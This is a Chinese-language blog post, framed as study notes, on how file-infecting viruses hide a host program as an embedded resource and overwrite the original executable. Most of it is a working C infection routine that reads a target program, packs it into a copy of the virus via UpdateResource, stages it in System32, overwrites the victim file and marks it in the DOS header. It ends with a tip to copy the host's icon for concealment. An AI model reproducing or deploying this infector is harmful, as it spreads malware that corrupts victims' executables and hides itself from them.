病毒资源感染方式学习笔记

本文探讨了病毒感染的一种方式——资源感染,其中病毒将宿主程序作为自身资源,覆盖原有程序。在打开感染文件时,病毒释放宿主并运行。详细过程包括:创建资源文件、查找资源、加载资源、写入文件、运行宿主、等待结束、删除资源文件。利用UpdateResource添加资源至病毒程序,但需注意病毒本身需包含资源。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本文学习自:关于感染型病毒的那些事(三) by gaa_ra 代码也来自gaa_ra


资源感染,就是将宿主程序作为病毒程序的一个资源来保存,将附加了宿主程序的病毒程序覆盖原来的宿主程序,当打开病毒文件时,病毒发作并将宿主程序释放出来运行。

进行资源感染后,打开感染文件的过程大致如下:

CreateFile创建资源文件,用于存放要被释放出来的宿主文件 --> FindResource查找该资源 --> LoadResource --> SizeofResource --> WriteFile将资源(宿主程序)写入刚刚创建的文件 --> CreateProcess运行宿主程序 --> WaitForSingleObject等待宿主程序结束 --> CloseHandle关闭进程句柄和线程句柄 --> DeleteFile删除刚刚生成的资源文件。将宿主文件作为资源添加到程序可以用UpdateResource来文件,注意,病毒编译时需要有资源,如果病毒本身没有资源,使用UpdateResource会失败,参考代码如下:

void InfectFilesByResource(char *FileName)
{
	DWORD dwSizeOfFile;
	DWORD dwBytesUsed;
	char szTempVirusFile[MAX_PATH];
	HANDLE hFile;
	HRSRC hResource;
	LPBYTE lpBuffer;
	hFile = CreateFile(FileName,
		GENERIC_READ | GENERIC_WRITE,
		0,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_ARCHIVE,
		NULL);
	if (INVALID_HANDLE_VALUE != hFile)
	{
		dwSizeOfFile = GetFileSize(hFile, NULL);
		//这里对文件大小进行判断,如果病毒体长度+宿主程序长度大于1M的话就进行注入感染
		if (dwSizeOfFile + dwSizeOfVirus > 0x100000)
		{
			CloseHandle(hFile);
			InfectFilesByInject(FileName);		// 这个注入可以参考空隙感染方式
			return;
		}
		lpBuffer = new BYTE[dwSizeOfFile];
		//将整个宿主程序读入Buffer当中
		if (ReadFile(hFile, lpBuffer, dwSizeOfFile, &dwBytesUsed, NULL) != FALSE)
		{
			//这里生成一个临时文件,加入宿主程序作为资源
			GetTempFileName("C://Windows//System32//", "~", 0, szTempVirusFile);
			//szDstFile是病毒程序路径
			CopyFile(szDstFile, szTempVirusFile, FALSE);

			//下面更新病毒程序资源
			hResource = (HRSRC)BeginUpdateResource(szTempVirusFile, FALSE);
			if (NULL != hResource)
			{
				if (UpdateResource(hResource, 
						RT_RCDATA, 
						MAKEINTRESOURCE(520), 
						MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), 
						(LPVOID)lpBuffer, 
						dwBytesUsed) != FALSE)
				{
					EndUpdateResource(hResource, FALSE);
				}
			}
		}
		delete[] lpBuffer;
		lpBuffer = NULL;
		CloseHandle(hFile);

		//将加入了宿主程序资源的病毒程序覆盖原来宿主程序
		CopyFile(szTempVirusFile,FileName,FALSE);
		Sleep(100);
		//删除临时文件
		DeleteFile(szTempVirusFile);
		hFile = CreateFile(FileName,
			GENERIC_WRITE,
			0,
			NULL,
			OPEN_EXISTING,
			FILE_ATTRIBUTE_ARCHIVE,
			NULL);
		if (INVALID_HANDLE_VALUE != hFile)
		{
			SetFilePointer(hFile, 0x4e, NULL, FILE_BEGIN);
			//写入资源感染标志'R',位于DOS头
			WriteFile(hFile,(LPCVOID)("R"), 1, &dwBytesUsed, NULL);
			CloseHandle(hFile);
		}		
	}
}


用资源感染方式,可以修改图标为宿主程序图标,以起到较好的隐蔽性。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值